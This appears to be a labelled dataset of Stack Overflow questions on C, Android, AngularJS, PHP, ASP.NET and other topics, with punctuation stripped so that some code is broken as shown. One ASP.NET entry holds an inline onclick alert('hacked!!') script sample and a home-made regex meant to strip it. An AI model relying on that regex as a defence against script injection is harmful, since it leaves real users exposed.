getting wrong output in finding indexes of set bits - c++  i have written below code in c++ for finding indexes of set bits in numbers.   <pre><code>#include&lt;bits/stdc++.h&gt; using namespace std; #define ll long long int  int main(int argc  char const *argv[]) {     for(ll i = 1; i &lt; (1&lt;&lt;3); i++)     {         cout&lt;&lt;i&lt;&lt;  here  ;         for(ll j = 0; j &lt; 3; j++)         {             if(i&amp;(1&lt;&lt;j) != 0)                 cout&lt;&lt;j&lt;&lt;   ;         }         cout&lt;&lt;endl;     }     return 0; } </code></pre>   the output which i am getting is (which is wrong):    <pre><code>1 here 0 1 2 2 here 3 here 0 1 2 4 here 5 here 0 1 2 6 here 7 here 0 1 2 </code></pre>   whereas  if we take <code>i = 1</code>. since  binary representation of 1 is <code>001</code>  so on doing bitwise <code>&amp;</code> with <code>010</code> i.e 2  it should give <code>0</code>. therefore  for i = 1  only <code>0</code> should get printed  <code>1 here 0</code>.,c++
why does child directive not receive correct scope  i have the following directives:   <pre><code> function outer() {     return {         restrict:  a           transclude: true          scope: {         }          controller: function ($scope  $element  $attrs) {              $scope.thing = $attrs.thing;         }          template:  &lt;div&gt;outer says {{::thing}} &lt;div ng-transclude&gt;&lt;/div&gt;&lt;/div&gt;           replace: true     }; }      function inner() {         return {         require:  ^outer           restrict:  a           transclude: true          scope: {             thing:  @          }          link: function (scope  element  attrs  outerctrl) {           console.log(scope); //thing is undefined here            }          template:  &lt;div&gt;inner says {{::thing}}&lt;/div&gt;           replace: true     }; }  angular     .module( myapp  [])     .directive( outer   outer)     .directive( inner   inner); </code></pre>   paired with the following html:   <pre><code>&lt;div ng-app= myapp &gt;  &lt;div data-outer data-thing= hi &gt;    &lt;div data-inner&gt;fff&lt;/div&gt;  &lt;/div&gt; </code></pre>       the problem is that my inner directive is not receiving the thing property from the parent scope. the parent scope is correctly assigned with the  hi  value but the child does not receive it.     <a href= https://jsfiddle.net/qbge5qse/47/  rel= nofollow >https://jsfiddle.net/qbge5qse/47/</a>    why is this,angularjs
stop location updates after first time  i am using a service which implements locationlistener class.now i want to know the current location(latitude longitude) of the device. i have used requestlocationupdates method so that onlocationchanged method gets called when the location changes. i want that onlocationchanged method should be called only once i.e. when i get the location for the first time  it should not be called again. i have called stopself method to stop the service inside onlocationchanged method. but still i am getting location updates. please help me.,android
get matched ip addresses from log file  i have an array of ip addresses    <pre><code>$ips = [ 192.168.1.10  ...]; </code></pre>   and there is a log file on the server <strong>(a very big size file  about 500 mb)</strong>    i want to get any line from log file matched with any ip from the array,php
recycleview wrap_content issue  i am facing this weird issue where my recycleview is wrap_content in height but it is taking full height of screen whereas my content is only occupying half the screen space. i read it that this was a bug and it is fixed in 23.2.1. i am using :-   <pre><code>compile  com.android.support:appcompat-v7:24.1.1  compile  com.android.support:recyclerview-v7:24.1.1  </code></pre>   in the xml also  i have not added anything specific :-   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; </code></pre>      <pre><code>&lt;framelayout     android:layout_width= match_parent      android:layout_height= 0dp      android:layout_marginbottom= @dimen/margin_10      android:layout_marginleft= @dimen/margin_20      android:layout_marginright= @dimen/margin_20      android:layout_margintop= @dimen/margin_10      android:layout_weight= 1 &gt;      &lt;android.support.v4.widget.swiperefreshlayout         android:id= @+id/swipe          android:layout_width= match_parent          android:layout_height= match_parent &gt;          &lt;android.support.v7.widget.recyclerview             android:id= @+id/recycleview              android:layout_width= match_parent              android:layout_height= wrap_content              android:background= #ff0000  /&gt;     &lt;/android.support.v4.widget.swiperefreshlayout&gt;      &lt;include layout= @layout/layout_circular_progress_bar  /&gt; &lt;/framelayout&gt; </code></pre>       as you can see from the image my content is only half  the round white part and the below red part is extra. how to remove this   <a href= https://i.stack.imgur.com/zwkld.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zwkld.png  alt= enter image description here ></a>,android
how to address warning about function in header file   this is concerning one of the functions in my header file(battleship.h).  here is the code for my function prototype    <code>int gameover();</code>.    inside my main c file  here is my code for using that function and including that header file    <pre><code>#include  battleship.c  int main () {       while(!gameover)        {            ......        } } </code></pre>   when i tried compiling the main c file(repo.c) into object code with this command   <pre><code>gcc -c repo.c </code></pre>   i got the warning  the address of  gameover   will always evaluate as  true . is there any way i can address this warning,c
error for setting range for nsurlconnection  nsmutableurlrequest  i am trying to implement download resuming functionality by using  setvalue:forhttpheaderfield. but whenever i use that method  i get an    <blockquote>    [nsurlrequest setvalue:forhttpheaderfield:]: unrecognized selector   sent to instance 0x4e0b710 2011-08-08 22:44:36.469 patch[9140:207] <em>*</em>   terminating app due to uncaught exception    nsinvalidargumentexception   reason:  -[nsurlrequest   setvalue:forhttpheaderfield:]: unrecognized selector sent to instance   0x4e0b710   </blockquote>   error.    my code works fine without that method but when i include this code  i get the error above   <pre><code>nsmutableurlrequest* request = [nsurlrequest requestwithurl:[nsurl urlwithstring:url]                                          cachepolicy:nsurlrequestuseprotocolcachepolicy                                      timeoutinterval:60.0];  //---------------- setting range for download resume ----------------------- nsstring* range = @ bytes= ; range = [range stringbyappendingstring:[[nsnumber numberwithint:offset] stringvalue]]; range = [range stringbyappendingstring:@ - ]; nslog(@ range: %@   range);  [request setvalue:range forhttpheaderfield:@ range ]; </code></pre>   please help me... thank you very much,iphone
get same status of checkbox when i restart the application in android  i have a list view. i am getting check box when i check it. but i want to get same status when i restart the application. if is there any way to do it please reply me. i am really new to android. my code is follows:   <pre><code>protected void onlistitemclick(listview l  view v  int position  long id) {     super.onlistitemclick(l  v  position  id);       getlistview().setchoicemode(listview.choice_mode_multiple); //i am getting status of check box here. if i click on file check box is appearing to me. //i want to be store always for true.      string keyword = value[position];     mediaplayer.reset();             try     {          mediaplayer.setdatasource( /sdcard/ +keyword+ .mp4 );          mediaplayer.prepare();         mediaplayer.start();                                  }     catch(exception e)     {         e.printstacktrace();     } } </code></pre>   thanks in advance.,android
how tracking new subscribers in google analytics   i waana tracking new subscribers in google analytics but how.    the site enables sign up in two places :    1-in pop up    2-in page that also user can login in    any one have an idea how do this,asp.net
what is sprite technology in css  i want to know about sprite technology used in css regarding fast accessing of the web pages.,css
bitwise operation in function  what does the function <strong>result</strong> return in the code below    <pre><code>unsigned int result(unsigned int number) {    return number &amp; (number - 1); } </code></pre>,c
"how to insert values of a form in global variables  in this example the first console.log() works because it s into a function but the second doesn t     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function onload() {
   lolz = document.getelementbyid( lolz );
   lolz2 = document.getelementbyid( lolz2 );
   lolz3 = document.getelementbyid( lolz3 );
 }
 var v;
 
 function kk() {
   onload();
   v = lolz.value;
   return v;
   console.log(v);
 }
 console.log(kk());</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;body onload= onload(); &gt;
   &lt;input type= text  name= enter  class= enter  value=   id= lolz  /&gt;
   &lt;input type= text  name= enter2  class= enter  value=   id= lolz2  /&gt;
   &lt;input type= text  name= enter3  class= enter  value=   id= lolz3  /&gt;
   &lt;input type= button  value= click  onclick= kk();  /&gt;
 &lt;/body&gt;</code></pre>
 </div>
 </div>",javascript
jquery capture when select list value changed without change event  i have a form with some select lists that will show/hide more input fields when certain values are selected.    the problem is that most of the users are data entry people so they heavily use the keyboard when entering data and a select list s <code>change</code> event only fires when focus has left the input if done via keyboard. i ve tried adding the same functionality to <code>keypress</code> and <code>keydown</code> and those work great  but not in ie.    unfortunately my users are mostly state workers so they are forced to use ie  does anyone know a workaround     here is my code:   <pre><code>$( div.error_editor select.refreason ).live({      change : function() {         var text = $(this).find( :selected ).text();         $(this).parent().siblings( span ).toggle();     }       keypress : function() {         $(this).change();     } }); </code></pre>   edit: it appears this also doesn t work in chrome  but works fine in firefox,jquery
how to update mysql table column when another table is updated  i have two tables: product and review. when enter a review in the review table  i want the product table to automatically update with (review_count+1) and (stars=avg of all stars). how can i do this . the two tables are joined by the product_id. how can i do this     <a href= https://i.stack.imgur.com/46ch6.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/46ch6.jpg  alt= this is the erd ></a>,mysql
if i allow all users in web.config should it still redirect to login   i m integrating security into an existing asp classic website. and i d like to keep the anonymous users able to still access the site until i m ready to flip the switch. shouldn t setting allow users= *  let everyone in and not redirect  right now it s redirecting all pages until you authenticate.   <pre><code>&lt;configuration&gt;     &lt;connectionstrings&gt;         &lt;add name= foconnectionstring  connectionstring= data source=;initial catalog=fo;persist security info=true;user id=fosecurity;password=  providername= system.data.sqlclient /&gt;     &lt;/connectionstrings&gt;     &lt;system.web&gt;    &lt;authorization&gt;         &lt;allow users= * /&gt;       &lt;/authorization&gt;            &lt;authentication mode= forms &gt;         &lt;forms loginurl= ~/account/login.aspx  timeout= 2880 /&gt;         &lt;/authentication&gt;          &lt;membership&gt;             &lt;providers&gt;                 &lt;clear/&gt;                 &lt;add name= aspnetsqlmembershipprovider  type= system.web.security.sqlmembershipprovider  connectionstringname= fosecurityconnectionstring  enablepasswordretrieval= false  enablepasswordreset= true  requiresquestionandanswer= false  requiresuniqueemail= false  maxinvalidpasswordattempts= 5  minrequiredpasswordlength= 6  minrequirednonalphanumericcharacters= 0  passwordattemptwindow= 10  applicationname= /fosecurity /&gt;             &lt;/providers&gt;         &lt;/membership&gt;         &lt;profile&gt;             &lt;providers&gt;                 &lt;clear/&gt;                 &lt;add name= aspnetsqlprofileprovider  type= system.web.profile.sqlprofileprovider  connectionstringname= fosecurityconnectionstring  applicationname= /fosecurity /&gt;             &lt;/providers&gt;         &lt;/profile&gt;         &lt;rolemanager enabled= true &gt;    &lt;providers&gt;     &lt;clear /&gt;     &lt;add connectionstringname= fosecurityconnectionstring  applicationname= /fosecurity       name= aspnetsqlroleprovider  type= system.web.security.sqlroleprovider  /&gt;     &lt;add applicationname= /fosecurity  name= aspnetwindowstokenroleprovider       type= system.web.security.windowstokenroleprovider  /&gt;    &lt;/providers&gt;   &lt;/rolemanager&gt;         &lt;customerrors mode= off /&gt;       &lt;/system.web&gt;     &lt;system.webserver&gt;     &lt;defaultdocument&gt;             &lt;files&gt;                 &lt;add value= index.asp  /&gt;             &lt;/files&gt;         &lt;/defaultdocument&gt;         &lt;modules runallmanagedmodulesforallrequests= true /&gt;     &lt;/system.webserver&gt;    &lt;/configuration&gt; </code></pre>,asp.net
technical differences between using subdomain or subdirectory   can anyone advise if there is any technical difference between using subdomain or subdirectory for website using .net  and which is the better option to take     from what i researched so far  it boils down to below: but will appreciate further clarifications on this:    subdomain: - need to apply ssl for the subdomain (can use wildcared certs for *.abc.com  but it will be expensive) - the base url can simply use / in coding - need dns of hosts-file entries and webserver configuration    subdirectory: - with subdirectories you could drop the app in a directory  and go    please kindly advise thanks :),.net
how to let the app login automactically without opening the web   i m planning to make an application that can let the user accessing the internet without opening the browser and type the login information to get the permission but just one click. i have no idea how to let the application open a web and fill the information without using a browser. can anyone give me some suggestions,android
wsdl2objc authenticationproperties does not exist  i am trying to call my web service using wsdl2objc. i found the following code/document  but it seemed that the binding object (generated by wsdl2objc) has no such property named authenticationproperties.   <pre><code>   nsdictionary *authproperties = [nsdictionary dictionarywithobject:credentials                                                                 forkey:nsurlauthenticationmethodhttpbasic];     binding.authenticationproperties = authproperties;  </code></pre>,objective-c
updating uialertview with progress of background thread  xcode 4.5  ipad development  ios6    hi  i hope you can help a novice developer! apologies in advance if this has already been answered but i could not find during my searches!    i am developing an app that needs to import a large amount of data into core data.  the import routine works fine (alert shows  please wait  with activity monitor while routine works in the background) but i want to give the users more detailed feedback on the progress of the import (such as  xx% imported ).  the following code kicks the process off and  -    <pre><code>- (ibaction)import:(id)sender{  [self showwaiting];  [self performselectorinbackground:(@selector(callgrouper)) withobject:nil];   }  -(void)showwaiting{  alertmsg = @ please wait.... ; waitalert = [[uialertview alloc] initwithtitle:alertmsg message:nil delegate:self  cancelbuttontitle:nil otherbuttontitles: nil];   [waitalert show];       uiactivityindicatorview *indicator = [[uiactivityindicatorview alloc] initwithactivityindicatorstyle:uiactivityindicatorviewstylewhitelarge];  indicator.center = cgpointmake(waitalert.bounds.size.width / 2  waitalert.bounds.size.height - 50);   [indicator startanimating]; [waitalert addsubview:indicator];      }   -(void)callgrouper{  importroutine *firsttest = [[importroutine alloc] init];  [firsttest runimport:managedobjectcontext];    [waitalert dismisswithclickedbuttonindex:0 animated:true];  uialertview *alert = [[uialertview alloc]initwithtitle: @ ipad application                                                 message: @ import complete!                                                delegate: self                                      cancelbuttontitle:@ ok                                       otherbuttontitles:nil];  [alert show];  } </code></pre>   within importroutine (separate class) i have code that gathers data on percentage imported  but how can i pass this message back to the main thread so i can update  alertmsg  and in turn update the uialertview,objective-c
how to find different value from two select statement  a.amt_hosp with b.amt_debtr <pre><code>select   a.account_hospital  a.amt_hosp  b.account_debtor   b.amt_debtr      from        (select      gtn.boepisodeaccount_id as account_hospital  txn.txn_amt as amt_hosp    from boepisodeaccounttxn gtn  boepisodedebtortxn txn     where gtn.boepisodeaccounttxn_id = txn.boepisodeaccounttxn_id and      gtn.boepisodeaccount_id =       ( select boepisodeaccount_id from boepisodeaccount          where  episode_no = a101200046        )   ) a   inner join     ( select bd.boepisodeaccount_id as account_debtor  bdt.txn_amt as amt_debtr       from boepisodedebtor bd  boepisodedebtortxn bdt        where bd.boepisodedebtor_id = bdt.boepisodedebtor_id        and bd.boepisodeaccount_id =       ( select boepisodeaccount_id from boepisodeaccount          where  episode_no = a101200046        )     ) b   on a.account_hospital = b.account_debtor </code></pre>,sql
on button click detection  i am working on this android project which calculates taxi-fares. it has a button <code>calculate</code>  and a menu option <code>night-mode</code>. this <code>calculate</code> method determines the distance between two points  and also the taxi fare that goes with it.     <code>night-mode</code> calculates the taxi-fare as per the different rates we have here work the night-cab. the basic requirement for <code>night-mode</code> is that it can only operate if and only if the <code>calculate</code> goes into the onclick event/ if the method is executed.     in my menu option ... how can i check that the button was really clicked/ or the onclick event was triggered,android
margins vs. positions in fixed position elements  a little popup told me i had a new twitter follower in my browser. i clicked inspect element to poke around  and of course wasn t surprised that it was a fixed position element  but the css surprised me.   <pre><code>#spoonbill-outer { position: fixed; right: 0px; bottom: 0px; margin: 22px; z-index: 10; } </code></pre>   is there a reason for using margins instead of <code>right:22px</code>  <code>bottom:22px</code>,css
covariance/invariance/contravariance in delegates in c#  i have the following piece of code. i have not specified any generic parameters and in/out(variance) for this delegate. if i understand the meaning of invariance correctly i should not be able to return object of base type since my delegate mentions return type of object.    is my understanding of invariance wrong    <pre><code>class program {     public delegate object sampledelegate(base b);      static void main(string[] args)     {         list&lt;base&gt; listbases = new list&lt;base&gt;(){new base{}  new base{}};         sampledelegate newdel = new sampledelegate(processbase);         newdel(new base() { });         console.readline();     }      public static base processbase(base b)     {         return b;     }      public class base     {      }      public class derived : base     {     }    } </code></pre>,c#
how to replace less-than sign and greater than sign in string which contains onclick event use regexp  example :   <pre><code>  string a= &lt;div onclick= javascript:alert( 111 ); &gt;&lt;/div&gt;  </code></pre>   i would like to get result:   <pre><code>   &amp;lt;div onclick= javascript:alert( 111 );  &amp;gt;&amp;lt;/div&amp;gt;   protected void page_load(object sender  eventargs e)         {                  string a =  &lt;p style= font-style: italic  onclick= alert( hacked!! ); &gt;hello world&lt;/p&gt; ;                 string b =         regex.replace(             a              @ (&lt;[\s\s]* ) on.* \=([   ])[\s\s]* \2([\s\s]* &gt;)               delegate(match match)             {                 string br = match.groups[1].value;                 string bbb = match.groups[2].value;                 return string.concat(match.groups[1].value match.groups[3].value);             }  regexoptions.compiled | regexoptions.ignorecase);                  response.write(b);             } </code></pre>,asp.net
uncaught error: no module: ngroute  i am using ngroute module but its showing me error so is there extra file need to add for using this module i search but i did nt found like other modules resourse cookies we need seperate files for is it for ngroute also if yes so where can i found this    <strong>error:-</strong>   <pre><code>uncaught error: no module: ngroute  var app = angular.module( inventoryapp   [ ngcookies   ngresource    ngroute ]); </code></pre>   <strong>controller.js</strong>   <pre><code>app.controller( storescontroller   function ($rootscope  $scope  $location  $cookies  $routeparams) {  }); </code></pre>,angularjs
parameterless constructor error when calling action method  i have this method:   <pre><code>public actionresult mymethod(string email  mycomplexobject json) </code></pre>   when i call it with these parameters i get the error from the title:   <pre><code>{ email : ppep@p.com   json :{ some big json which consists of many arrays }} </code></pre>   if i add a parameterless constructor in the mycomplexobject class  the exception doesn t occur  but json is passed as null. the parameterless constructor is called. how to call the other constructor  not the default one,.net
euler s method for neuroscience in c  i need to estimate for my internship the firing rate of neurons that follows an ode. i code at first in python and it goes pretty well but for better performance  my supervisor told to write the same code in c. however  i never coded in c so i am a very beginner and the file in which i want to have the values for the firing rate is full of zero... can someone help me      thank you very much    so here is my python code  :    <pre><code>import numpy as np import matplotlib.pyplot as plt from math import cos  sin  sqrt  pi  exp as cos  sin  sqrt  pi  exp #parameters eps = 0.05 f = 0.215 mu = 1.1 d = 0.001 deltat = 0.01 timewindow = 40 num_points = int(timewindow/deltat) t = np.linspace(0  timewindow  num_points) #signal s = [sin(2*3.14*f*t) for t in t] n=30000 compteur=np.zeros(num_points) v = np.zeros((num_points n)) samples = np.random.normal(0  1  (num_points n)) for i in range(1 num_points):      for j in range(n):         v[i j] = v[i-1 j] + deltat *(-v[i-1 j]+ mu + eps*s[i-1]) + \                 sqrt(2*d*deltat)*samples[i j]         if v[i j]&gt;1:             v[i j]=0             compteur[i]+=1/deltat/n   plt.plot(t compteur) plt.show() </code></pre>   and here is my  translation  in c :    <pre><code>#include &lt;math.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #define pi 3.1415926536 float s(float x  float); double awgn_generator(); file* fopen(const char* nomdufichier  const char* modeouverture); int fclose(file* pointeursurfichier);  int main(int argc  char *argv[]) {    //parameters    double eps = 0.05;    float f = 0.215 ;    double mu = 1.1 ;    double d = 0.001 ;    int time_window = 90;    int num_points = 1000;    long num_neurons = 1000;    double deltat = time_window/num_points;    int i ;    //time     double time[num_points] ;     time[0]= 0.0;     for (i = 1 ;  i &lt; num_points ; i++ )        {   time[i] = time[i-1] + deltat;       }     //opening file for saving data    file* fichier = null;     fichier = fopen( challala.txt    w );      if (fichier != null)    {        double v[num_points][num_neurons] ;        memset(v  0  num_points*num_neurons*sizeof(long) );        long  compteur[num_points];        memset( compteur  0  num_points*sizeof(long) );         int pos_1 ;        int  pos_2 ;      //euler s method        for (pos_1 = 1 ; pos_1 &lt; num_points ; pos_1 ++)        {            for (pos_2 = 0 ; pos_2&lt;num_neurons ; pos_2 ++)           {                float t = time[pos_1-1] ;                v[pos_1][pos_2] = v[pos_1-1][pos_2] + deltat *(-v[pos_1-1]              [pos_2]+ mu + eps*s(t  f))+ sqrt(2*d*deltat)*awgn_generator();                  if (v[pos_1][pos_2]&gt;1)                    {                       v[pos_1][pos_2]=0 ;                       compteur[pos_1]+=1/deltat/num_neurons ;                    }            }            fprintf(fichier   %ld  compteur[pos_1]);        }     fclose(fichier);    printf( ca a marche test.txt );    }   else     {         // on affiche un message d erreur si on veut         printf( impossible d ouvrir le fichier test.txt );     }      return 0;  }    float s(float x  float f)  {   return sin(2*m_pi*f*x);  }     double awgn_generator()  {/* generates additive white gaussian noise samples with zero mean and a    standard deviation of 1. */    double temp1;   double temp2;   double result;   int p;    p = 1;    while( p &gt; 0 )   {     temp2 = ( rand() / ( (double)rand_max ) ); /*  rand() function generates an                                                    integer between 0 and                                                                    rand_max                                                     which is defined in                                                       stdlib.h.                                                */     if ( temp2 == 0 )     {// temp2 is &gt;= (rand_max / 2)      p = 1;     }// end if    else    {// temp2 is &lt; (rand_max / 2)       p = -1;     }// end else    }// end while()    temp1 = cos( ( 2.0 * (double)pi ) * rand() / ( (double)rand_max ) );   result = sqrt( -2.0 * log( temp2 ) ) * temp1;    return result;    // return the generated random sample to the caller   } </code></pre>,c
is this code segment legal in c   function wait() is declared in another function. is it legal    <pre><code>void panic(const int reason  const char *strg)  { int errno; struct machine_attributes mach; int ret  docstat  cnt; pid_t pid  wait(int *)  setsid(void);      ...... } </code></pre>   thank you!,c
$timeout not firing with $http  i have inherited a site and i am trying to complete a final part. on all other controllers i have added a variation of    <pre><code>$timeout(function(){  //issue is this doesn t seem to timeout...                      $scope.rtaptopnumberscontainer = document.getelementbyid( rtap-quote-summary );                      rtapnotifydomchange($scope.rtaptopnumberscontainer);                 }  100);  </code></pre>   but on this final controller i cannot seem to add this code anywhere in the controller without the angular code not working  or where i have it at the moment  timeout. i need the timeout to fire to then update the html dom.     if i put it in <code>.success</code> the timeout doesn t seem to work. where can i put this code or how can i call this code after the $http has fired    <pre><code>app.controller( summary   [ $scope    $http   function($scope  $http  $timeout) {  var init = function () {     $http({             method:  get               url: $scope.api +  sites/site/ title=  + $scope.site          }).             success(function(data  status  headers  config) {              ...assign vars to scope etc...              $timeout(function(){  //issue is this doesn t seem to timeout...                  $scope.rtaptopnumberscontainer = document.getelementbyid( rtap-summary );                  rtapnotifydomchange($scope.rtaptopnumberscontainer);             }  100);           }).             error(function(data  status  headers  config) {         });     } init(); }]); </code></pre>,angularjs
restoring active tab when navigating back in angular  i have an angular app that consists of multiple logical views (with matching routes). each view displays multiple tabs. based on the active tab  i determine which parts of the ui to show / hide.     since the tabs are not part of the route  loading the view always shows the first tab. this is fine for the most part  however when the user navigates to another view and then navigates back (using the browser back button)  it makes sense to restore the previously selected tab.    any ideas how to achieve that without adding the active tab index to the route      btw the reasons i d like to avoid adding the active tab to the route are:    <ol> <li> i don t want the tab selection history to be added to the browsing history (clicking back shouldn t take you to the previous tab on the same view  but rather to the previous view) </li> <li> i don t want the controller to reload </li> </ol>   so far i thought about using local storage to store the last active tab in the view  and restoring it when detecting that the browser navigated back. but this feels like a hack  so i m trying to avoid it. i m looking for a solution that feels  right  by angular s way of doing things...    any ideas are appreciated!,angularjs
how can i open a visual web developer 2010 express in visual studio 2005  can anybody tell me how to open a vwd 2010 express project in visual studio 2005,asp.net
how do i retrieve the visitor s isp through php   how do i find out the isp provider of a person viewing a php page     is it possible to use php to track or reveal it     if i use something like the following:   <pre><code>gethostbyaddr($_server[ remote_addr ]); </code></pre>   it returns my ip address  not my host name or isp.,php
why people are so afraid of using clone() (on collection and jdk classes)   a number of times i ve argued that using <code>clone()</code> isn t such a bad practice. yes  i know the arguments. <a href= http://www.artima.com/intv/bloch13.html  rel= nofollow noreferrer >bloch said</a> it s bad. he indeed did  but he said that implementing <code>clone()</code> is bad. using clone on the other hand  especially if it is implemented correctly by a trusted library  such as the jdk  is ok.    just yesterday i had a discussion about <a href= https://stackoverflow.com/questions/2592985/arraylist-shallow-copy-iterate-or-clone/2593004#2593004 >an answer of mine</a> that merely suggests that using <code>clone()</code> for <code>arraylist</code> is ok (and got no upvotes for that reason  i guess).    if we look at the <code>@author</code> of <code>arraylist</code>  we can see a familiar name - josh bloch. so <code>clone()</code> on <code>arraylist</code> (and other collections) is perfectly fine (just look at their implementations).    same goes for <code>calendar</code> and perhaps most of the <code>java.lang</code> and <code>java.util</code> classes.    so  give me a reason <em>why not to use</em> <code>clone()</code> with jdk classes,java
carousel/slider of a grid of multiple elements  i am trying to make a jquery carousel similar to the one in  people who liked this also liked  section at the bottom of <a href= http://www.imdb.com/title/tt0790724/  rel= nofollow >this imdb page</a>    i thought i would use <a href= http://isotope.metafizzy.co/  rel= nofollow >isotope</a> and <a href= http://ryrych.github.com/rcarousel/  rel= nofollow >rcarousel</a> where isotope would align all my items in a grid like format and i would use rcarousel to add new grids using ajax and slide them. sorry i don t have much of a code  and i am having trouble getting started on this project. please point me to a plugin that can get this done  or let me know if my way is doable.    what i have right now is this  and obviously doens t work at all :    html:   <pre><code>&lt;div id= reco  class= span4 &gt;     &lt;div class= reco-group &gt;         &lt;div class= movie item-parent &gt;&lt;a title= sin city  class= movie-link &gt;&lt;img src= images/1.jpg  /&gt;&lt;/a&gt;&lt;/div&gt;         &lt;div class= movie item-parent &gt;&lt;a title= annie hall  class= movie-link &gt;&lt;img src= images/2.jpg  /&gt;&lt;/a&gt;&lt;/div&gt;         &lt;div class= movie item-parent &gt;&lt;a title= madagascar 3  class= movie-link &gt;&lt;img src= images/3.jpg  /&gt;&lt;/a&gt; &lt;/div&gt;         &lt;div class= movie item-parent &gt;&lt;a title= as good as it gets  class= movie-link &gt;&lt;img src= images/4.jpg  /&gt;&lt;/a&gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   jquery :   <pre><code>$( #reco ).rcarousel({ });  var $container = $( .reco-group ); $container.imagesloaded(function() {      $container.isotope({         itemselector:  .movie           animationoptions: {             duration: 750              easing:  linear               queue: false         }          containerstyle:{             position: relative          }     }); }); </code></pre>,jquery
mapping integer to alphabet and print all combination base on a 3 digit input  i was given this question by a co-worker:    given that:  1  match to  a    2  to  b     3  to  c ...like wise...  26  to  z .    how can i get an output that follow this pattern : if i get an input d= 111   the output should be: aaa  ak  ka / (111)-&gt;aaa  (1  11)-&gt;ak  (11 1)-&gt;ka    i create the following script  but i know that it is too long.   <pre><code>str1 =    str2=   str3=   d =  101   for i in d:     if  0  in i:         pass     else:         str1 += chr(int(i)+96)  if int(d[0]) == 1:     str2 += chr(int(d[0]+d[1])+96)     str2 += chr(int(d[2])+ 96) elif int(d[0]) == 2 and int(d[1]) &lt; 7 :     str2 += chr(int(d[0] + d[1]) + 96)     str2 += chr(int(d[2]) + 96) if int(d[1]) == 1:     str3 += chr(int(d[0])+ 96)     str3 += chr(int(d[1]+d[2])+96) elif int(d[0]) == 2 and int(d[1]) &lt; 7 :     str3 += chr(int(d[1] + d[2]) + 96)     str3 += chr(int(d[0]) + 96)   print str1 print str2 print str3 </code></pre>   i would like to know a better way to tackle this.,python
what s a clean way to pass back groups of class instances without creating additional  transaction  classes   to explain  every method in an api has to return an instance of a result class along with any other objects passed back.    if i have two classes i want to pass back as single items and lists:   <pre><code>public class foo { }  public class bar { } </code></pre>   that would mean i need four transaction classes to pass back:   <pre><code>public class result { }  public class apifoo {     public result result;     public foo foo; }  public class apifoolist {     public result result;     public list&lt;foo&gt; foolist; }  public class apibar {     public result result;     public bar bar; }  public class apibarlist {     public result result;     public list&lt;bar&gt; barlist; } </code></pre>   i m sure there must be a better way to pass back the correct collections than this.    can anyone advise a better way     thanks.,c#
rails 3: couldn t find user without an id  hi i m currently working on my first rails project (a photo uploading site)  and am getting an error on a form that creates a new photo album that belongs to a user. i m trying to use the paperclip gem. it s giving me the error:   <pre><code>activerecord::recordnotfound in albumscontroller#create  couldn t find user without an id </code></pre>   i m guessing it has something to do with the instance variables in my create action  but i don t see what s wrong. any guidance would be helpful. here are my files:    _form.html.erb   <pre><code>&lt;%= form_for (@album)  :remote =&gt; true  :html =&gt; { :id =&gt;  uploadform   :multipart =&gt; true } do |f| %&gt; &lt;div&gt;     &lt;%= f.label :name %&gt;     &lt;%= f.text_field :name %&gt;       &lt;%= f.label :description %&gt;     &lt;%= f.text_area :description %&gt;       &lt;%= f.fields_for :avatar do |avatar_form| %&gt;     &lt;%= avatar_form.label :avatar   upload  %&gt;     &lt;%= avatar_form.file_field :avatar  :multiple =&gt; true %&gt;     &lt;% end %&gt;       &lt;%=f.submit %&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre>   albums_controller create action:   <pre><code>def create   @users = user.all   @user = user.find(params[:user_id])   @album = @user.albums.build(params[:album])   if @album.save     flash[:success] =  album created!    end  end </code></pre>   config/routes   <pre><code>pholder::application.routes.draw do resources :users do   resources :albums  end  resources :albums do   resources :pictures end </code></pre>   album model   <pre><code>class album &lt; activerecord::base   attr_accessible :avatar  :name  :description   has_and_belongs_to_many :users    has_attached_file :avatar end </code></pre>   let me know if you need to see any other files.,ruby-on-rails
help needed with typeaccessexception: attempt by method ... to access type ... failed  the full exception details are:   <pre><code>system.typeaccessexception occurred   message=attempt by method  dynamicclass.(system.text.stringbuilder  system.object  int32)  to access type  system.collections.generic.ienumerable`1&lt;system.collections.generic.keyvaluepair`2&lt;system.object networkcatcher.entities.server.calculatedfcstatemanager+descriptor&gt;&gt;  failed.   source=anonymously hosted dynamicmethods assembly   typename=     stacktrace:        at (stringbuilder   object   int32 )   innerexception:  </code></pre>   the method name <code>dynamicclass.(system.text.stringbuilder  system.object  int32)</code> corresponds to this dynamically generated method:   <pre><code>private delegate stringbuilder appendtostringbuilderdelegate(stringbuilder sb  object obj  int maxitemstodisplay);  private static appendtostringbuilderdelegate emitdelegate(type type  methodinfo methodinfo) {   var dynamicmethod = new dynamicmethod(string.empty  typeof(stringbuilder)  typearray&lt;stringbuilder  object  int&gt;.value);   var parameters = methodinfo.getparameters();    var il = dynamicmethod.getilgenerator();   il.emit(opcodes.ldarg_0);   il.emit(opcodes.ldarg_1);   il.emit(opcodes.unbox_any  parameters[1].parametertype);   il.emit(opcodes.ldarg_2);   il.emitcall(opcodes.call  methodinfo  null);   il.emit(opcodes.ret);   return s_methodcache[type] = (appendtostringbuilderdelegate)dynamicmethod.createdelegate(typeof(appendtostringbuilderdelegate)); } </code></pre>   the stack trace is:   <pre><code>[lightweight function]   shunra.common.dll!shunra.common.debugutils.appendobject&lt;system.collections.generic.idictionary&lt;object networkcatcher.entities.server.calculatedfcstatemanager.descriptor&gt;&gt;(system.text.stringbuilder sb  system.collections.generic.idictionary&lt;object networkcatcher.entities.server.calculatedfcstatemanager.descriptor&gt; obj  int maxitemstodisplay) line 261 + 0x14 bytes    c# shunra.common.dll!shunra.common.debugutils.tostring&lt;system.collections.generic.idictionary&lt;object networkcatcher.entities.server.calculatedfcstatemanager.descriptor&gt;&gt;(system.collections.generic.idictionary&lt;object networkcatcher.entities.server.calculatedfcstatemanager.descriptor&gt; obj  int maxitemstodisplay) line 435 + 0x4d bytes  c# 